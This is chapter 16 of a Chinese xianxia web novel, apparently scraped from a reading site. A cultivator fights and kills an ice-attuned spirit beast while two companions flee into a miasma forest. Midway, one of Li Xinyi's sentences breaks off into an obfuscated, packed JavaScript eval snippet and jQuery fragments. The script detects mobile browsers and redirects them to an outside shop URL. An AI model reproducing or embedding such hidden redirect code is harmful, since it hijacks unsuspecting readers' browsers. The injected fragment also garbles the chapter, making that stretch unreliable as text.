16. 第十六章

作品:《修仙界第一药骨

    李辛夷估摸自己肯定是睡不了了,倒不如提前守夜,还顺带给纪决明留个好印象。


    好感度这不就来了!


    “纪道友,你去休息吧,换我来。”她压着嗓音道。


    纪决明的坐姿端正得宛若一尊玉雕,背脊挺直,呼吸匀长,连眼睫都未曾颤动一下。


    李辛夷不知道他是不是真的没听见,却又无可奈何,犹豫半晌,为了不吵醒修远,只能自己蹑手蹑脚地走到纪决明身旁,俯身戳了他胳膊两下。


    玄色衣袍纹丝不动。


    “李道友又睡不着了吗?”


    纪决明终于开口,没有半分感激的意思。


    应该是故意没理她。


    奇怪了,她有这么招人烦吗。


    “嗯,不如你先睡吧。”李辛夷心里嘀咕,想问侯他是不是选择性耳聋,可面上却仍然维持着自然单纯的笑容,看着格外真诚。


    “李道友有心了。”


    “可惜现在都不能睡了,烦请你把修远叫醒。”


    纪决明声线平和,缓缓睁开眼睛。


    紧接着,他一字一顿,清晰地说道:


    “有东西来了。”


    纪决明不是个会开玩笑的性格。


    李辛夷听了这话,眼神倏地沉下来,当机立断准备拍醒修远作战。她指尖刚要触到少年的肩膀,林间骤然炸出一声震耳欲聋的咆哮。


    那声音像是从地底深处翻滚而出,震得整座木屋都爬上裂痕,簌簌往下掉着碎渣。


    她脚下一个踉跄,身体不受控制地向后倒去,几乎快要跌坐在地上。顾不上狼狈,连忙凝起灵力与外界的力量对抗。


    身侧的修远同时弹起身来,原本惺忪的睡眼瞬间瞪圆,脸上还带着没睡醒的茫然,嘴里吼出声:“有东西撞碎阵法了!”


    “打算怎么办?”李辛夷看向纪决明,稳稳地握住剑柄。


    “你与修道友先躲入瘴气林,这里由我解决。”纪决明的手心迅速凝出回风,利落地甩出一道剑气,扫向不远处正逐渐黯淡的阵法边界。


    阵法边界有个移动的黑点,它所到之处,皆是土崩树倒。


    不过瞬息之间,铅灰色乌云便聚集如墨翻涌,沉沉压在头顶。银蛇似的闪电撕裂云层,将天地照得一片惨白,紧接着是炸耳的雷鸣混着妖兽暴戾的嘶吼,滚滚而来。


    李辛夷心里清楚,以她与修远目前的战力,留在此处或许是纪决明的累赘。纪决明让他们躲入瘴气林,既是保护,也是最明智的抉择。


    她才不会像恐怖片主角那样作死。


    此时多一秒都有可能生变,李辛夷手腕猛地发力,一把抓起修远的衣领就跳上自己飞剑。剑身嗡鸣贴地疾冲,两道残影向着密林极速掠去,带起的劲风刮得人脸生疼。


    修远猝不及防被人拽上飞剑,险些站不稳就要摔下去,得亏李辛夷手劲不小,牢牢地扣着他的衣襟。但他也感觉自己恐怕要被勒死了。


    李辛夷也才第二次御剑飞行,她的目光始终盯着前方,集中精力避开障碍物,灵活地在树影间穿梭。她的手腕因持续用力而颤抖,但腿脚却稳得吓人,没有丝毫慌乱。


    一直到听不太清楚雷鸣,李辛夷才收住灵力跳下剑,同时松手放开了修远。


    她抬手抹去脸上的尘土,刚想喘口气,鼻子却先一步嗅到一股刺鼻的气味。


    瘴气林里弥漫着紫色浓稠的雾霭,即使在黑夜中也能感觉到那化不开的颜色。


    李辛夷赶忙用衣袖捂住自己的口鼻,不再敢多呼吸空气。


    修远刚脱离束缚,大脑还处于缺氧状态,张着嘴就想大口吸气,被李辛夷看见直接一巴掌呼在脸上。


    “你看不见瘴气吗!”李辛夷的声音透过衣料传来。


    修远痛苦皱眉,只觉得眼前阵阵发黑,拍开她的手,示意自己知道了,扯过衣服下摆蒙住脸,这才敢大口大口地喘气。


    李辛夷趁他缓神间隙,发现脚边的雾气是最浓的,很显然瘴气的密度大于空气。


    为求证,她足尖轻点,影如惊鸿,落在身旁树木的虬枝上,


    高处的瘴气果然稀薄许多,至少眼前不再是紫色,也可以看见朦胧的树枝了。


    她终于放松地吸了一口气,冷静辨析着两人刚才仓促跑进来的路线,在脑海中勾勒出大致的方位,以防万一在这堵起弥漫的林子里迷路。


    李辛夷目光扫过瘴气林的边缘,数着自己进来时掠过的树木草地,心中有了底,判定二人当下走得不深,局面还在可控范围内。


    安慰好自己,她抬头寻找着纪决明的身影。


    方才坡地上那翻涌的乌云,不知何时散得干干净净,也无一点声响,透着几分诡异的平静。


    纪决明……他若还平安,为何迟迟没有用传音玉简传讯?


    平复心情后,李辛夷确信这里的空气没有大的毒性,久待就不知道了。


    “修远,快上来,上面毒性浅!”李辛夷低头看向靠在树干的修远。


    她说完,便感觉树枝微微一沉。


    修远在她身侧蹲着,狠狠吸了两口冰冷的空气,呲牙列嘴地嘟嚷:“憋得老子肺都要炸了!”


    李辛夷没吭声,拿起袖中的传音玉简,灌入灵力。


    “纪决明,你现下在何处?可还安好?”


    她攥着玉简,焦急地等待回复。


    修远后知后觉地站起来,终于发现不对劲了。


    “会不会是瘴气太浓了,磁场问题什么的,阻碍了玉简的通讯?”


    李辛夷叹了口气,沉默几秒,缓声道:“但愿如此。”


    她无意识地扣着潮湿的树皮,闭了闭眼。


    目前纪决明和妖兽下落不明,宁柔和黄尚贞战力低,盲目叫他们来反而是害了他们。


    “总在这儿等着也不是办法,我们先出去试试能不能和他联系上。”


    “好。”修远不觉得有问题。


    两人先后出发,在交错的枝丫间借力,矫捷地落在地面。


    李辛夷捏了观气诀,双目一凛,淡青色的灵力自指尖流转,穿过眼前的紫雾气,自动循着他们来时遗留的气息,打算原路返回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938801|192793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    ------------------------------


    纪决明盯着李辛夷的身影消失在瘴气中,才打量起眼前的妖兽。


    准确来说,这是头幼年期灵兽,体型约有九尺,外观与白虎相差不大,只是壮实些,生了双金瞳。


    灵兽见他迟迟未动,率先拱起脊背,喉间滚出阵阵低吼。下一秒便猛扑来,抬起前爪,雪白色的指甲划破空气,直取纪决明头颅。


    纪决明脚步未移,仅抬手挥出回风剑,剑光乍起,缠着雷霆电光。他没有半分多余的招式,随手一劈,剑身便精准地刺穿了灵兽的前爪。


    冰蓝色的血液顺着剑柄洒落在地,竟激起阵阵白烟。


    幼年灵兽尚不能完全掌握自身力量,吃痛了便凄厉哀嚎,方圆十里的地面随着它的嘶吼,突兀地结了零星的冰晶,全无规律。


    剧痛并未让这幼兽彻底屈服,反而激起了它骨子里的野性。


    它粗壮的尾巴陡然绷直,如同钢鞭一般狂甩,所过之处,落叶皆瞬时成冰。还未受伤的森然左爪也胡乱地拍向纪决明,爪风中甚至带了冰屑。


    “竟是冰灵根?”纪决明若有所思,眼底极快地掠过一丝兴味,稍稍侧身便躲过了它杂乱无章的进攻。而后袖摆轻扬,将冰针尽数格开。


    灵兽修为远不及他,身上伤口越来越多,却毫无退意。它学聪明了些,嘴里吐着寒意,金瞳锁定纪决明,凶狠气焰不减,脚步慢下来,绕着他转圈。


    纪决明眼底没有丝毫波澜,不再留手,长剑翻飞间,他反手握剑,以剑柄为棍。只听几声脆响,灵兽的右后腿关节竟被他用巧劲震得脱臼。


    他将回风重新纳入识海,在舌下垫了一颗闭气丹,往瘴气林退去,将毫无防备的后背留给灵兽,步履间不见仓促,仿佛全然不在意身后可能袭来的反扑。


    灵兽四肢踉跄地挣扎着站起,脱臼的右后腿无力拖拽在地上,每一步都留下一串血印,一瘸一拐地追着纪决明,眸色狠戾,似乎想与他同归于尽。


    可纪决明走得很快,他不时停下来转身,目光平静地扫过追来的灵兽,待那灵兽鼓足力气近身几步,他便又毫不停留地往深林内走,保持着不远不近的距离,不断刺激着灵兽的混乱的神智。


    待走入瘴气林中心,空气中都带上腥腐气。灵兽已是中毒过深,加上不轻的伤势,金色双眸也褪成普通的墨色,受伤的四肢无法再拖动庞大的身躯,很快就瘫倒在一块沼泽旁,有气出没气进。


    纪决明立在数丈外,静静看着那团雪白的影子归于沉寂,慢条斯理地擦净手上的血迹,忽然感受到胸口处传来震动。


    伸指探入怀内,玉简便在掌心微微发烫,莹白的光晕里不断跳动着待接收的符纹,显是另一端有人传讯。可纪决明看也未看那跳动的符纹,单手骤然收紧。


    只听“咔嚓”一声轻响,那枚传音玉简便在他掌心寸寸碎裂,化作齑粉,在空中消散得无影无踪。


    做完这些,他无声展开了灵识,朝着李辛夷的位置悄无声息地靠近。